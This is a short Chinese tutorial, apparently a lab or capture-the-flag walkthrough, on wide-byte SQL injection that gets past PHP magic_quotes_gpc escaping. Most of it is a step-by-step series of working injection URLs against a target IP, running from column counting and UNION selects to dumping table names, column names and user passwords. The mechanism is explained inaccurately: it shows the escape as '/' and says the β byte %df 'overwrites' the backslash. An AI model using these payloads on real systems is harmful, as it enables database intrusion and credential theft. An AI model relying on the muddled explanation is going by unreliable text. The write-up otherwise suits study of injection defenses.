sql注入之宽字节注入
1.原理:当php开启魔术函数–magic_quotes_gpc函数时,单引号(’) 双引号(") 反斜线() 等字符都会加上反斜线。
eg:我们在id=1后面加上’ 会被自动转义为 /’ 所以导致我们输入的东西无法闭合,就不会当做代码执行,就无法产生SQL注入了。
2.绕过原理:
(1)1,a,’ 均为一个字节
(2)汉字 均为三个字节
(3)希腊字母β—> 两个字节
我们可以用β来覆盖所产生的/,从而导致闭合语句,可以正常注入!(β的url编码为%df)。
3.实战:
我们在传递的参数后面加: %df’ ,可以看到产生了宽字节,引号成功逃逸,接着就可以常规注入!
我们先来查询一下字段值:
http://219.153.49.228:49740/new_list.php?id=1 %df' order by 5--+
接着看一下回显:
http://219.153.49.228:49740/new_list.php?id=-1 %df' union select 1,2,3,4,5--+
然后我们可以查看库名以及用户;
http://219.153.49.228:49740/new_list.php?id=-1 %df' union select 1,2,database(),4,5--+
接着爆表名:
http://219.153.49.228:49740/new_list.php?id=-1 %df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5--+
爆字段需要注意,因为语句 where=’table‘ 查字段名字,这里用到单引号,这里也会被转义会报错。解决方案:将表名转16进制(然后前面加上0x,因为0x为16进制的标志)
http://219.153.49.228:49740/new_list.php?id=-1 %df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,5--+
最后我们爆字段即可:
http://219.153.49.228:49740/new_list.php?id=-1 %df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+
4.MD5解密一下拿到flag!